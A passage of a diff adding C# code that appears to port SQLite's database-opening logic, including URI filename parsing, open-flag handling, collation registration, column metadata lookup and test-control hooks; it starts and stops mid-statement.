String.Compare( "///", zUri.Substring( 5, 3 )) == 0 ){ + iIn = 7; + /* The following condition causes URIs with five leading / characters + ** like file://///host/path to be converted into UNCs like //host/path. + ** The correct URI for that UNC has only two or four leading / characters + ** file://host/path or file:////host/path. But 5 leading slashes is a + ** common error, we are told, so we handle it as a special case. */ + if(String.Compare("///", zUri.Substring(7, 3)) == 0) { iIn++; Console.WriteLine("iIn2: {0}", iIn); } + } else if(String.Compare("//localhost/", zUri.Substring(5, 12)) == 0) { + iIn = 16; + } + ///* Discard the scheme and authority segments of the URI. */ + //if( zUri[5]=='/' && zUri[6]=='/' ){ + // iIn = 7; + // while ( iIn < nUri && zUri[iIn] != '/' ) + // iIn++; + + // if ( iIn != 7 && ( iIn != 16 || String.Compare( "localhost", zUri.Substring( 7, 9 ), StringComparison.InvariantCultureIgnoreCase ) != 0 ) )//memcmp("localhost", &zUri[7], 9)) ) + // { + // pzErrMsg = sqlite3_mprintf("invalid uri authority: %.*s", + // iIn-7, zUri.Substring(7)); + // rc = SQLITE_ERROR; + // goto parse_uri_out; + // } + //}else{ + // iIn = 5; + //} + + /* Copy the filename and any query parameters into the zFile buffer. + ** Decode %HH escape codes along the way. + ** + ** Within this loop, variable eState may be set to 0, 1 or 2, depending + ** on the parsing context. As follows: + ** + ** 0: Parsing file-name. + ** 1: Parsing name section of a name=value query parameter. + ** 2: Parsing value section of a name=value query parameter. + */ + eState = 0; + while ( iIn < nUri&& ( c = zUri[iIn] ) != 0 && c != '#' ) + { + iIn++; + if( c=='%' + && sqlite3Isxdigit(zUri[iIn]) + && sqlite3Isxdigit(zUri[iIn+1]) + ){ + int octet = (sqlite3HexToInt(zUri[iIn++]) << 4); + octet += sqlite3HexToInt(zUri[iIn++]); + + Debug.Assert( octet >= 0 && octet < 256 ); + if ( octet == 0 ) + { + /* This branch is taken when "%00" appears within the URI. In this + ** case we ignore all text in the remainder of the path, name or + ** value currently being parsed. So ignore the current character + ** and skip to the next "?", "=" or "&", as appropriate. */ + while ( iIn < nUri && ( c = zUri[iIn] ) != 0 && c != '#' + && (eState!=0 || c!='?') + && (eState!=1 || (c!='=' && c!='&')) + && (eState!=2 || c!='&') + ){ + iIn++; + } + continue; + } + c = (char)octet; + }else if( eState==1 && (c=='&' || c=='=') ){ + if ( zFile[zFile.Length-1] == '\0' ) + { + /* An empty option name. Ignore this option altogether. */ + while( zUri[iIn] != '\0' && zUri[iIn]!='#' && zUri[iIn-1]!='&' ) iIn++; + continue; + } + if( c=='&' ){ + zFile.Append('\0');//[iOut++] = '\0'; + }else{ + eState = 2; + } + c = '\0'; + }else if( (eState==0 && c=='?') || (eState==2 && c=='&') ){ + c = '\0'; + eState = 1; + } + zFile.Append(c);// zFile[iOut++] = c; + } + if ( eState == 1 ) + zFile.Append( '\0' );//[iOut++] = '\0'; + zFile.Append( '\0' );//[iOut++] = '\0'; + zFile.Append( '\0' );//[iOut++] = '\0'; + + /* Check if there were any options specified that should be interpreted + ** here. Options that are interpreted here include "vfs" and those that + ** correspond to flags that may be passed to the sqlite3_open_v2() + ** method. */ + zOpt = zFile.ToString().Substring(sqlite3Strlen30( zFile ) + 1); + while( zOpt.Length>0 ){ + int nOpt = sqlite3Strlen30(zOpt); + string zVal = zOpt.Substring( nOpt );//zOpt[nOpt + 1]; + int nVal = sqlite3Strlen30(zVal); + + if( nOpt==3 && memcmp("vfs", zOpt, 3)==0 ){ + zVfs = zVal; + }else{ + OpenMode[] aMode = null; + string zModeType = ""; + int mask = 0; + int limit = 0; + + if( nOpt==5 && memcmp("cache", zOpt, 5)==0 ){ + OpenMode[] aCacheMode = new OpenMode[] { + new OpenMode( "shared", SQLITE_OPEN_SHAREDCACHE ), + new OpenMode( "private", SQLITE_OPEN_PRIVATECACHE ), + new OpenMode( null, 0 ) + }; + + mask = SQLITE_OPEN_SHAREDCACHE|SQLITE_OPEN_PRIVATECACHE; + aMode = aCacheMode; + limit = mask; + zModeType = "cache"; + } + if( nOpt==4 && memcmp("mode", zOpt, 4)==0 ){ + OpenMode[] aOpenMode = new OpenMode[] { + new OpenMode( "ro", SQLITE_OPEN_READONLY ), + new OpenMode( "rw", SQLITE_OPEN_READWRITE ), + new OpenMode( "rwc", SQLITE_OPEN_READWRITE | SQLITE_OPEN_CREATE ), + new OpenMode( null, 0 ) + }; + + mask = SQLITE_OPEN_READONLY|SQLITE_OPEN_READWRITE|SQLITE_OPEN_CREATE; + aMode = aOpenMode; + limit = mask & flags; + zModeType = "access"; + } + + if( aMode != null){ + int i; + int mode = 0; + for(i=0; aMode[i].z!= null; i++){ + string z = aMode[i].z; + if( nVal==sqlite3Strlen30(z) && 0==memcmp(zVal, z, nVal) ){ + mode = aMode[i].mode; + break; + } + } + if( mode==0 ){ + pzErrMsg = sqlite3_mprintf("no such %s mode: %s", zModeType, zVal); + rc = SQLITE_ERROR; + goto parse_uri_out; + } + if( mode>limit ){ + pzErrMsg = sqlite3_mprintf("%s mode not allowed: %s", + zModeType, zVal); + rc = SQLITE_PERM; + goto parse_uri_out; + } + flags = ((flags & ~mask) | mode); + } + } + + zOpt = zVal.Substring(nVal+1); + } + + }else{ + //zFile = sqlite3_malloc(nUri+2); + //if( null==zFile ) return SQLITE_NOMEM; + //memcpy(zFile, zUri, nUri); + zFile = zUri == null ? new StringBuilder() : new StringBuilder(zUri.Substring( 0, nUri )); + zFile.Append( '\0' );//[iOut++] = '\0'; + zFile.Append( '\0' );//[iOut++] = '\0'; + } + + ppVfs = sqlite3_vfs_find(zVfs); + if( ppVfs==null ){ + pzErrMsg = sqlite3_mprintf("no such vfs: %s", zVfs); + rc = SQLITE_ERROR; + } + parse_uri_out: + if( rc!=SQLITE_OK ){ + //sqlite3_free(zFile); + zFile = null; + } + pFlags = flags; + pzFile = zFile == null ? null : zFile.ToString().Substring( 0, sqlite3Strlen30( zFile.ToString() ) ); + return rc; +} + + /* + ** This routine does the work of opening a database on behalf of + ** sqlite3_open() and sqlite3_open16(). The database filename "zFilename" + ** is UTF-8 encoded. + */ + static int openDatabase( + string zFilename, /* Database filename UTF-8 encoded */ + out sqlite3 ppDb, /* OUT: Returned database handle */ + int flags, /* Operational flags */ + string zVfs /* Name of the VFS to use */ + ) + { + sqlite3 db; /* Store allocated handle here */ + int rc; /* Return code */ + int isThreadsafe; /* True for threadsafe connections */ + string zOpen = ""; /* Filename argument to pass to BtreeOpen() */ + string zErrMsg = ""; /* Error message from sqlite3ParseUri() */ + + ppDb = null; +#if !SQLITE_OMIT_AUTOINIT + rc = sqlite3_initialize(); + if ( rc != 0 ) + return rc; +#endif + + /* Only allow sensible combinations of bits in the flags argument. +** Throw an error if any non-sense combination is used. If we +** do not block illegal combinations here, it could trigger +** Debug.Assert() statements in deeper layers. Sensible combinations +** are: +** +** 1: SQLITE_OPEN_READONLY +** 2: SQLITE_OPEN_READWRITE +** 6: SQLITE_OPEN_READWRITE | SQLITE_OPEN_CREATE +*/ + Debug.Assert( SQLITE_OPEN_READONLY == 0x01 ); + Debug.Assert( SQLITE_OPEN_READWRITE == 0x02 ); + Debug.Assert( SQLITE_OPEN_CREATE == 0x04 ); + testcase( ( 1 << ( flags & 7 ) ) == 0x02 ); /* READONLY */ + testcase( ( 1 << ( flags & 7 ) ) == 0x04 ); /* READWRITE */ + testcase( ( 1 << ( flags & 7 ) ) == 0x40 ); /* READWRITE | CREATE */ + if ( ( ( 1 << ( flags & 7 ) ) & 0x46 ) == 0 ) return SQLITE_MISUSE_BKPT(); + + if ( sqlite3GlobalConfig.bCoreMutex == false ) + { + isThreadsafe = 0; + } + else if ( ( flags & SQLITE_OPEN_NOMUTEX ) != 0 ) + { + isThreadsafe = 0; + } + else if ( ( flags & SQLITE_OPEN_FULLMUTEX ) != 0 ) + { + isThreadsafe = 1; + } + else + { + isThreadsafe = sqlite3GlobalConfig.bFullMutex ? 1 : 0; + } + if ( ( flags & SQLITE_OPEN_PRIVATECACHE ) != 0 ) + { + flags &= ~SQLITE_OPEN_SHAREDCACHE; + } + else if ( sqlite3GlobalConfig.sharedCacheEnabled ) + { + flags |= SQLITE_OPEN_SHAREDCACHE; + } + + /* Remove harmful bits from the flags parameter + ** + ** The SQLITE_OPEN_NOMUTEX and SQLITE_OPEN_FULLMUTEX flags were + ** dealt with in the previous code block. Besides these, the only + ** valid input flags for sqlite3_open_v2() are SQLITE_OPEN_READONLY, + ** SQLITE_OPEN_READWRITE, SQLITE_OPEN_CREATE, SQLITE_OPEN_SHAREDCACHE, + ** SQLITE_OPEN_PRIVATECACHE, and some reserved bits. Silently mask + ** off all other flags. + */ + flags &= ~( SQLITE_OPEN_DELETEONCLOSE | + SQLITE_OPEN_EXCLUSIVE | + SQLITE_OPEN_MAIN_DB | + SQLITE_OPEN_TEMP_DB | + SQLITE_OPEN_TRANSIENT_DB | + SQLITE_OPEN_MAIN_JOURNAL | + SQLITE_OPEN_TEMP_JOURNAL | + SQLITE_OPEN_SUBJOURNAL | + SQLITE_OPEN_MASTER_JOURNAL | + SQLITE_OPEN_NOMUTEX | + SQLITE_OPEN_FULLMUTEX | + SQLITE_OPEN_WAL + ); + + + /* Allocate the sqlite data structure */ + db = new sqlite3();//sqlite3MallocZero( sqlite3.Length ); + if ( db == null ) + goto opendb_out; + if ( sqlite3GlobalConfig.bFullMutex && isThreadsafe != 0 ) + { + db.mutex = sqlite3MutexAlloc( SQLITE_MUTEX_RECURSIVE ); + if ( db.mutex == null ) + { + //sqlite3_free( ref db ); + goto opendb_out; + } + } + sqlite3_mutex_enter( db.mutex ); + db.errMask = 0xff; + db.nDb = 2; + db.magic = SQLITE_MAGIC_BUSY; + Array.Copy( db.aDbStatic, db.aDb, db.aDbStatic.Length );// db.aDb = db.aDbStatic; + Debug.Assert( db.aLimit.Length == aHardLimit.Length ); + Buffer.BlockCopy( aHardLimit, 0, db.aLimit, 0, aHardLimit.Length * sizeof( int ) );//memcpy(db.aLimit, aHardLimit, sizeof(db.aLimit)); + db.autoCommit = 1; + db.nextAutovac = -1; + db.nextPagesize = 0; + db.flags |= SQLITE_ShortColNames | SQLITE_AutoIndex | SQLITE_EnableTrigger; + if ( SQLITE_DEFAULT_FILE_FORMAT < 4 ) + db.flags |= SQLITE_LegacyFileFmt +#if SQLITE_ENABLE_LOAD_EXTENSION +| SQLITE_LoadExtension +#endif +#if SQLITE_DEFAULT_RECURSIVE_TRIGGERS + | SQLITE_RecTriggers +#endif +#if (SQLITE_DEFAULT_FOREIGN_KEYS) //&& SQLITE_DEFAULT_FOREIGN_KEYS + | SQLITE_ForeignKeys +#endif +; + sqlite3HashInit( db.aCollSeq ); +#if !SQLITE_OMIT_VIRTUALTABLE + db.aModule = new Hash(); + sqlite3HashInit( db.aModule ); +#endif + + /* Add the default collation sequence BINARY. BINARY works for both UTF-8 + ** and UTF-16, so add a version for each to avoid any unnecessary + ** conversions. The only error that can occur here is a malloc() failure. + */ + createCollation( db, "BINARY", SQLITE_UTF8, SQLITE_COLL_BINARY, 0, + binCollFunc, null ); + createCollation( db, "BINARY", SQLITE_UTF16BE, SQLITE_COLL_BINARY, 0, + binCollFunc, null ); + createCollation( db, "BINARY", SQLITE_UTF16LE, SQLITE_COLL_BINARY, 0, + binCollFunc, null ); + createCollation( db, "RTRIM", SQLITE_UTF8, SQLITE_COLL_USER, 1, + binCollFunc, null ); + //if ( db.mallocFailed != 0 ) + //{ + // goto opendb_out; + //} + db.pDfltColl = sqlite3FindCollSeq( db, SQLITE_UTF8, "BINARY", 0 ); + Debug.Assert( db.pDfltColl != null ); + + /* Also add a UTF-8 case-insensitive collation sequence. */ + createCollation( db, "NOCASE", SQLITE_UTF8, SQLITE_COLL_NOCASE, 0, + nocaseCollatingFunc, null ); + + /* Parse the filename/URI argument. */ + db.openFlags = flags; + rc = sqlite3ParseUri( zVfs, zFilename, ref flags, ref db.pVfs, ref zOpen, ref zErrMsg ); + if( rc!=SQLITE_OK ){ + //if( rc==SQLITE_NOMEM ) db.mallocFailed = 1; + sqlite3Error(db, rc, zErrMsg.Length>0 ? "%s" : "", zErrMsg); + //sqlite3_free(zErrMsg); + goto opendb_out; + } + + /* Open the backend database driver */ + rc = sqlite3BtreeOpen(db.pVfs, zOpen, db, ref db.aDb[0].pBt, 0, + flags | SQLITE_OPEN_MAIN_DB); +if ( rc != SQLITE_OK ) + { + if ( rc == SQLITE_IOERR_NOMEM ) + { + rc = SQLITE_NOMEM; + } + sqlite3Error( db, rc, 0 ); + goto opendb_out; + } + db.aDb[0].pSchema = sqlite3SchemaGet( db, db.aDb[0].pBt ); + db.aDb[1].pSchema = sqlite3SchemaGet( db, null ); + + + /* The default safety_level for the main database is 'full'; for the temp + ** database it is 'NONE'. This matches the pager layer defaults. + */ + db.aDb[0].zName = "main"; + db.aDb[0].safety_level = 3; + db.aDb[1].zName = "temp"; + db.aDb[1].safety_level = 1; + + db.magic = SQLITE_MAGIC_OPEN; + //if ( db.mallocFailed != 0 ) + //{ + // goto opendb_out; + //} + + /* Register all built-in functions, but do not attempt to read the + ** database schema yet. This is delayed until the first time the database + ** is accessed. + */ + sqlite3Error( db, SQLITE_OK, 0 ); + sqlite3RegisterBuiltinFunctions( db ); + + /* Load automatic extensions - extensions that have been registered + ** using the sqlite3_automatic_extension() API. + */ + sqlite3AutoLoadExtensions( db ); + rc = sqlite3_errcode( db ); + if ( rc != SQLITE_OK ) + { + goto opendb_out; + } + + +#if SQLITE_ENABLE_FTS1 +if( 0==db.mallocFailed ){ +extern int sqlite3Fts1Init(sqlite3); +rc = sqlite3Fts1Init(db); +} +#endif + +#if SQLITE_ENABLE_FTS2 +if( 0==db.mallocFailed && rc==SQLITE_OK ){ +extern int sqlite3Fts2Init(sqlite3); +rc = sqlite3Fts2Init(db); +} +#endif + +#if SQLITE_ENABLE_FTS3 +if( 0==db.mallocFailed && rc==SQLITE_OK ){ +rc = sqlite3Fts3Init(db); +} +#endif + +#if SQLITE_ENABLE_ICU +if( 0==db.mallocFailed && rc==SQLITE_OK ){ +extern int sqlite3IcuInit(sqlite3); +rc = sqlite3IcuInit(db); +} +#endif + +#if SQLITE_ENABLE_RTREE +if( 0==db.mallocFailed && rc==SQLITE_OK){ +rc = sqlite3RtreeInit(db); +} +#endif + + sqlite3Error( db, rc, 0 ); + + /* -DSQLITE_DEFAULT_LOCKING_MODE=1 makes EXCLUSIVE the default locking + ** mode. -DSQLITE_DEFAULT_LOCKING_MODE=0 make NORMAL the default locking + ** mode. Doing nothing at all also makes NORMAL the default. + */ +#if SQLITE_DEFAULT_LOCKING_MODE +db.dfltLockMode = SQLITE_DEFAULT_LOCKING_MODE; +sqlite3PagerLockingMode(sqlite3BtreePager(db.aDb[0].pBt), +SQLITE_DEFAULT_LOCKING_MODE); +#endif + + /* Enable the lookaside-malloc subsystem */ + setupLookaside( db, null, sqlite3GlobalConfig.szLookaside, + sqlite3GlobalConfig.nLookaside ); + + sqlite3_wal_autocheckpoint( db, SQLITE_DEFAULT_WAL_AUTOCHECKPOINT ); + +opendb_out: + //sqlite3_free(zOpen); + if ( db != null ) + { + Debug.Assert( db.mutex != null || isThreadsafe == 0 || !sqlite3GlobalConfig.bFullMutex ); + sqlite3_mutex_leave( db.mutex ); + } + rc = sqlite3_errcode( db ); + if ( rc == SQLITE_NOMEM ) + { + sqlite3_close( db ); + db = null; + } + else if ( rc != SQLITE_OK ) + { + db.magic = SQLITE_MAGIC_SICK; + } + ppDb = db; + return sqlite3ApiExit( 0, rc ); + } + + /* + ** Open a new database handle. + */ + static public int sqlite3_open( + string zFilename, + out sqlite3 ppDb + ) + { + return openDatabase( zFilename, out ppDb, + SQLITE_OPEN_READWRITE | SQLITE_OPEN_CREATE, null ); + } + + static public int sqlite3_open_v2( + string filename, /* Database filename (UTF-8) */ + out sqlite3 ppDb, /* OUT: SQLite db handle */ + int flags, /* Flags */ + string zVfs /* Name of VFS module to use */ + ) + { + return openDatabase( filename, out ppDb, flags, zVfs ); + } + +#if NO_SQLITE_OMIT_UTF16 //#if !SQLITE_OMIT_UTF16 + +/* +** Open a new database handle. +*/ +int sqlite3_open16( +string zFilename, +sqlite3 **ppDb +){ +char const *zFilename8; /* zFilename encoded in UTF-8 instead of UTF-16 */ +sqlite3_value pVal; +int rc; + +Debug.Assert(zFilename ); +Debug.Assert(ppDb ); +*ppDb = 0; +#if !SQLITE_OMIT_AUTOINIT +rc = sqlite3_initialize(); +if( rc !=0) return rc; +#endif +pVal = sqlite3ValueNew(0); +sqlite3ValueSetStr(pVal, -1, zFilename, SQLITE_UTF16NATIVE, SQLITE_STATIC); +zFilename8 = sqlite3ValueText(pVal, SQLITE_UTF8); +if( zFilename8 ){ +rc = openDatabase(zFilename8, ppDb, +SQLITE_OPEN_READWRITE | SQLITE_OPEN_CREATE, 0); +Debug.Assert(*ppDb || rc==SQLITE_NOMEM ); +if( rc==SQLITE_OK && !DbHasProperty(*ppDb, 0, DB_SchemaLoaded) ){ +ENC(*ppDb) = SQLITE_UTF16NATIVE; +} +}else{ +rc = SQLITE_NOMEM; +} +sqlite3ValueFree(pVal); + +return sqlite3ApiExit(0, rc); +} +#endif // * SQLITE_OMIT_UTF16 */ + + /* +** Register a new collation sequence with the database handle db. +*/ + static int sqlite3_create_collation( + sqlite3 db, + string zName, + int enc, + object pCtx, + dxCompare xCompare + ) + { + int rc; + sqlite3_mutex_enter( db.mutex ); + //Debug.Assert( 0 == db.mallocFailed ); + rc = createCollation( db, zName, (u8)enc, SQLITE_COLL_USER, pCtx, xCompare, null ); + rc = sqlite3ApiExit( db, rc ); + sqlite3_mutex_leave( db.mutex ); + return rc; + } + + /* + ** Register a new collation sequence with the database handle db. + */ + static int sqlite3_create_collation_v2( + sqlite3 db, + string zName, + int enc, + object pCtx, + dxCompare xCompare, //int(*xCompare)(void*,int,const void*,int,const void), + dxDelCollSeq xDel //void(*xDel)(void) + ) + { + int rc; + sqlite3_mutex_enter( db.mutex ); + //Debug.Assert( 0 == db.mallocFailed ); + rc = createCollation( db, zName, (u8)enc, SQLITE_COLL_USER, pCtx, xCompare, xDel ); + rc = sqlite3ApiExit( db, rc ); + sqlite3_mutex_leave( db.mutex ); + return rc; + } + +#if NO_SQLITE_OMIT_UTF16 //#if !SQLITE_OMIT_UTF16 +/* +** Register a new collation sequence with the database handle db. +*/ +//int sqlite3_create_collation16( +// sqlite3* db, +// string zName, +// int enc, +// void* pCtx, +// int(*xCompare)(void*,int,const void*,int,const void) +//){ +// int rc = SQLITE_OK; +// string zName8; +// sqlite3_mutex_enter(db.mutex); +// Debug.Assert( 0==db.mallocFailed ); +// zName8 = sqlite3Utf16to8(db, zName, -1, SQLITE_UTF16NATIVE); +// if( zName8 ){ +// rc = createCollation(db, zName8, (u8)enc, SQLITE_COLL_USER, pCtx, xCompare, 0); +// sqlite3DbFree(db,ref zName8); +// } +// rc = sqlite3ApiExit(db, rc); +// sqlite3_mutex_leave(db.mutex); +// return rc; +//} +#endif // * SQLITE_OMIT_UTF16 */ + + /* +** Register a collation sequence factory callback with the database handle +** db. Replace any previously installed collation sequence factory. +*/ + static int sqlite3_collation_needed( + sqlite3 db, + object pCollNeededArg, + dxCollNeeded xCollNeeded + ) + { + sqlite3_mutex_enter( db.mutex ); + db.xCollNeeded = xCollNeeded; + db.xCollNeeded16 = null; + db.pCollNeededArg = pCollNeededArg; + sqlite3_mutex_leave( db.mutex ); + return SQLITE_OK; + } + +#if NO_SQLITE_OMIT_UTF16 //#if !SQLITE_OMIT_UTF16 +/* +** Register a collation sequence factory callback with the database handle +** db. Replace any previously installed collation sequence factory. +*/ +//int sqlite3_collation_needed16( +// sqlite3 db, +// void pCollNeededArg, +// void(*xCollNeeded16)(void*,sqlite3*,int eTextRep,const void) +//){ +// sqlite3_mutex_enter(db.mutex); +// db.xCollNeeded = 0; +// db.xCollNeeded16 = xCollNeeded16; +// db.pCollNeededArg = pCollNeededArg; +// sqlite3_mutex_leave(db.mutex); +// return SQLITE_OK; +//} +#endif // * SQLITE_OMIT_UTF16 */ + +#if NOT_SQLITE_OMIT_DEPRECATED //#if !SQLITE_OMIT_DEPRECATED +/* +** This function is now an anachronism. It used to be used to recover from a +** malloc() failure, but SQLite now does this automatically. +*/ +static int sqlite3_global_recover() +{ +return SQLITE_OK; +} +#endif + + /* +** Test to see whether or not the database connection is in autocommit +** mode. Return TRUE if it is and FALSE if not. Autocommit mode is on +** by default. Autocommit is disabled by a BEGIN statement and reenabled +** by the next COMMIT or ROLLBACK. +** +******* THIS IS AN EXPERIMENTAL API AND IS SUBJECT TO CHANGE ****** +*/ + static u8 sqlite3_get_autocommit( sqlite3 db ) + { + return db.autoCommit; + } + + /* + ** The following routines are subtitutes for constants SQLITE_CORRUPT, + ** SQLITE_MISUSE, SQLITE_CANTOPEN, SQLITE_IOERR and possibly other error + ** constants. They server two purposes: + ** + ** 1. Serve as a convenient place to set a breakpoint in a debugger + ** to detect when version error conditions occurs. + ** + ** 2. Invoke sqlite3_log() to provide the source code location where + ** a low-level error is first detected. + */ + static int sqlite3CorruptError( int lineno ) + { + testcase( sqlite3GlobalConfig.xLog != null ); + sqlite3_log( SQLITE_CORRUPT, + "database corruption at line %d of [%.10s]", + lineno, 20 + sqlite3_sourceid() ); + return SQLITE_CORRUPT; + } + static int sqlite3MisuseError( int lineno ) + { + testcase( sqlite3GlobalConfig.xLog != null ); + sqlite3_log( SQLITE_MISUSE, + "misuse at line %d of [%.10s]", + lineno, 20 + sqlite3_sourceid() ); + return SQLITE_MISUSE; + } + static int sqlite3CantopenError( int lineno ) + { + testcase( sqlite3GlobalConfig.xLog != null ); + sqlite3_log( SQLITE_CANTOPEN, + "cannot open file at line %d of [%.10s]", + lineno, 20 + sqlite3_sourceid() ); + return SQLITE_CANTOPEN; + } + +#if NOT_SQLITE_OMIT_DEPRECATED //#if !SQLITE_OMIT_DEPRECATED +/* +** This is a convenience routine that makes sure that all thread-specific +** data for this thread has been deallocated. +** +** SQLite no longer uses thread-specific data so this routine is now a +** no-op. It is retained for historical compatibility. +*/ +void sqlite3_thread_cleanup() +{ +} +#endif + /* +** Return meta information about a specific column of a database table. +** See comment in sqlite3.h (sqlite.h.in) for details. +*/ +#if SQLITE_ENABLE_COLUMN_METADATA + + static int sqlite3_table_column_metadata( + sqlite3 db, /* Connection handle */ + string zDbName, /* Database name or NULL */ + string zTableName, /* Table name */ + string zColumnName, /* Column name */ + ref string pzDataType, /* OUTPUT: Declared data type */ + ref string pzCollSeq, /* OUTPUT: Collation sequence name */ + ref int pNotNull, /* OUTPUT: True if NOT NULL constraint exists */ + ref int pPrimaryKey, /* OUTPUT: True if column part of PK */ + ref int pAutoinc /* OUTPUT: True if column is auto-increment */ + ) + { + int rc; + string zErrMsg = ""; + Table pTab = null; + Column pCol = null; + int iCol; + + string zDataType = null; + string zCollSeq = null; + int notnull = 0; + int primarykey = 0; + int autoinc = 0; + + /* Ensure the database schema has been loaded */ + sqlite3_mutex_enter( db.mutex ); + sqlite3BtreeEnterAll( db ); + rc = sqlite3Init( db, ref zErrMsg ); + if ( SQLITE_OK != rc ) + { + goto error_out; + } + + /* Locate the table in question */ + pTab = sqlite3FindTable( db, zTableName, zDbName ); + if ( null == pTab || pTab.pSelect != null ) + { + pTab = null; + goto error_out; + } + + /* Find the column for which info is requested */ + if ( sqlite3IsRowid( zColumnName ) ) + { + iCol = pTab.iPKey; + if ( iCol >= 0 ) + { + pCol = pTab.aCol[iCol]; + } + } + else + { + for ( iCol = 0; iCol < pTab.nCol; iCol++ ) + { + pCol = pTab.aCol[iCol]; + if ( pCol.zName.Equals( zColumnName, StringComparison.InvariantCultureIgnoreCase ) ) + { + break; + } + } + if ( iCol == pTab.nCol ) + { + pTab = null; + goto error_out; + } + } + + /* The following block stores the meta information that will be returned + ** to the caller in local variables zDataType, zCollSeq, notnull, primarykey + ** and autoinc. At this point there are two possibilities: + ** + ** 1. The specified column name was rowid", "oid" or "_rowid_" + ** and there is no explicitly declared IPK column. + ** + ** 2. The table is not a view and the column name identified an + ** explicitly declared column. Copy meta information from pCol. + */ + if ( pCol != null ) + { + zDataType = pCol.zType; + zCollSeq = pCol.zColl; + notnull = pCol.notNull != 0 ? 1 : 0; + primarykey = pCol.isPrimKey != 0 ? 1 : 0; + autoinc = ( pTab.iPKey == iCol && ( pTab.tabFlags & TF_Autoincrement ) != 0 ) ? 1 : 0; + } + else + { + zDataType = "INTEGER"; + primarykey = 1; + } + if ( String.IsNullOrEmpty( zCollSeq ) ) + { + zCollSeq = "BINARY"; + } + +error_out: + sqlite3BtreeLeaveAll( db ); + + /* Whether the function call succeeded or failed, set the output parameters + ** to whatever their local counterparts contain. If an error did occur, + ** this has the effect of zeroing all output parameters. + */ + //if ( pzDataType ) + pzDataType = zDataType; + //if ( pzCollSeq ) + pzCollSeq = zCollSeq; + //if ( pNotNull ) + pNotNull = notnull; + //if ( pPrimaryKey ) + pPrimaryKey = primarykey; + //if ( pAutoinc ) + pAutoinc = autoinc; + + if ( SQLITE_OK == rc && null == pTab ) + { + sqlite3DbFree( db, ref zErrMsg ); + zErrMsg = sqlite3MPrintf( db, "no such table column: %s.%s", zTableName, + zColumnName ); + rc = SQLITE_ERROR; + } + sqlite3Error( db, rc, ( !String.IsNullOrEmpty( zErrMsg ) ? "%s" : null ), zErrMsg ); + sqlite3DbFree( db, ref zErrMsg ); + rc = sqlite3ApiExit( db, rc ); + sqlite3_mutex_leave( db.mutex ); + return rc; + } +#endif + + /* +** Sleep for a little while. Return the amount of time slept. +*/ + static public int sqlite3_sleep( int ms ) + { + sqlite3_vfs pVfs; + int rc; + pVfs = sqlite3_vfs_find( null ); + if ( pVfs == null ) + return 0; + + /* This function works in milliseconds, but the underlying OsSleep() + ** API uses microseconds. Hence the 1000's. + */ + rc = ( sqlite3OsSleep( pVfs, 1000 * ms ) / 1000 ); + return rc; + } + + /* + ** Enable or disable the extended result codes. + */ + static int sqlite3_extended_result_codes( sqlite3 db, bool onoff ) + { + sqlite3_mutex_enter( db.mutex ); + db.errMask = (int)( onoff ? 0xffffffff : 0xff ); + sqlite3_mutex_leave( db.mutex ); + return SQLITE_OK; + } + + /* + ** Invoke the xFileControl method on a particular database. + */ + static int sqlite3_file_control( sqlite3 db, string zDbName, int op, ref sqlite3_int64 pArg ) + { + int rc = SQLITE_ERROR; + int iDb; + sqlite3_mutex_enter( db.mutex ); + if ( zDbName == null ) + { + iDb = 0; + } + else + { + for ( iDb = 0; iDb < db.nDb; iDb++ ) + { + if ( db.aDb[iDb].zName == zDbName ) + break; + } + } + if ( iDb < db.nDb ) + { + Btree pBtree = db.aDb[iDb].pBt; + if ( pBtree != null ) + { + Pager pPager; + sqlite3_file fd; + sqlite3BtreeEnter( pBtree ); + pPager = sqlite3BtreePager( pBtree ); + Debug.Assert( pPager != null ); + fd = sqlite3PagerFile( pPager ); + Debug.Assert( fd != null ); + if ( op == SQLITE_FCNTL_FILE_POINTER ) + { +#if !NO_SQLITE_SILVERLIGHT //#if (SQLITE_SILVERLIGHT || WINDOWS_MOBILE) + pArg = (long)-1; // not supported +#else + pArg = (long)fd.fs.Handle; +#endif + rc = SQLITE_OK; + } + else if ( fd.pMethods != null ) + { + rc = sqlite3OsFileControl( fd, (u32)op, ref pArg ); + } + else + { + rc = SQLITE_NOTFOUND; + } + sqlite3BtreeLeave( pBtree ); + } + } + sqlite3_mutex_leave( db.mutex ); + return rc; + } + + /* + ** Interface to the testing logic. + */ + static int sqlite3_test_control( int op, params object[] ap ) + { + int rc = 0; +#if !SQLITE_OMIT_BUILTIN_TEST + // va_list ap; + lock ( lock_va_list ) + { + va_start( ap, "op" ); + switch ( op ) + { + + /* + ** Save the current state of the PRNG. + */ + case SQLITE_TESTCTRL_PRNG_SAVE: + { + sqlite3PrngSaveState(); + break; + } + + /* + ** Restore the state of the PRNG to the last state saved using + ** PRNG_SAVE. If PRNG_SAVE has never before been called, then + ** this verb acts like PRNG_RESET. + */ + case SQLITE_TESTCTRL_PRNG_RESTORE: + { + sqlite3PrngRestoreState(); + break; + } + + /* + ** Reset the PRNG back to its uninitialized state. The next call + ** to sqlite3_randomness() will reseed the PRNG using a single call + ** to the xRandomness method of the default VFS. + */ + case SQLITE_TESTCTRL_PRNG_RESET: + { + sqlite3PrngResetState(); + break; + } + + /* + ** sqlite3_test_control(BITVEC_TEST, size, program) + ** + ** Run a test against a Bitvec object of size. The program argument + ** is an array of integers that defines the test. Return -1 on a + ** memory allocation error, 0 on success, or non-zero for an error. + ** See the sqlite3BitvecBuiltinTest() for additional information. + */ + case SQLITE_TESTCTRL_BITVEC_TEST: + { + int sz = va_arg( ap, ( Int32 ) 0 ); + int[] aProg = va_arg( ap, (Int32[])null ); + rc = sqlite3BitvecBuiltinTest( (u32)sz, aProg ); + break; + } + + /* + ** sqlite3_test_control(BENIGN_MALLOC_HOOKS, xBegin, xEnd) + ** + ** Register hooks to call to indicate which malloc() failures + ** are benign. + */ + case SQLITE_TESTCTRL_BENIGN_MALLOC_HOOKS: + { + //typedef void (*void_function)(void); + void_function xBenignBegin; + void_function xBenignEnd; + xBenignBegin = va_arg( ap, (void_function)null ); + xBenignEnd = va_arg( ap, (void_function)null ); + sqlite3BenignMallocHooks( xBenignBegin, xBenignEnd ); + break; + } + /* + ** sqlite3_test_control(SQLITE_TESTCTRL_PENDING_BYTE, unsigned int X) + ** + ** Set the PENDING byte to the value in the argument, if X>0. + ** Make no changes if X==0. Return the value of the pending byte + ** as it existing before this routine was called. + ** + ** IMPORTANT: Changing the PENDING byte from 0x40000000 results in + ** an incompatible database file format. Changing the PENDING byte + ** while any database connection is open results in undefined and + ** dileterious behavior. + */ + case SQLITE_TESTCTRL_PENDING_BYTE: + { + rc = 